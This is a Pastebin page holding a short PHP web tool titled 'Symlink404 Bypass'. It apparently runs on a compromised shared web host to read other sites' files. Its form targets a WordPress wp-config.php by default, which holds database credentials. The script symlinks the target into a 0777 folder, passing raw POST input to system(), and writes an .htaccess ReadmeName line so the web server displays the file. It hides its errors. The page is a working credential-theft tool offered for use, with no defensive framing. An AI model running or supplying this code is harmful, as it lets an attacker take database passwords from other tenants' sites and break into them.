Advertisement
RintoMuhamad

SymlinkFile404 Bypass

Feb 14th, 2017
3,078
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.73 KB | None | 0 0
  1. <title>Symlink404</title>
  2. <body bgcolor=black>
  3. <center>
  4. <font color="red">
  5. <b><a href="https://www.facebook.com/rinto2234">Coded By Con7ext</a></b><br>
  6. <form method="post"><br>File Target : <input name="dir" value="/home/user/public_html/wp-config.php">
  7. <br>Save As: <input name="jnck" value="ojayakan.txt"><input name="ojaykan" type="submit" value="Eksekusi Gan"></form><br>
  8. <?
  9. @error_reporting(0);
  10. @ini_set('display_errors', 0);
  11. if($_POST['ojaykan']){
  12. rmdir("sym404");mkdir("sym404", 0777);
  13. $dir = $_POST['dir'];
  14. $jnck = $_POST['jnck'];
  15. system("ln -s ".$dir." sym404/".$jnck);
  16. symlink($dir,"sym404/".$jnck);
  17. $inija = fopen("sym404/.htaccess", "w");
  18. fwrite($inija,"ReadmeName ".$jnck);
  19. echo'<a href="sym404/">Klik Gan >:(</a>';
  20. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement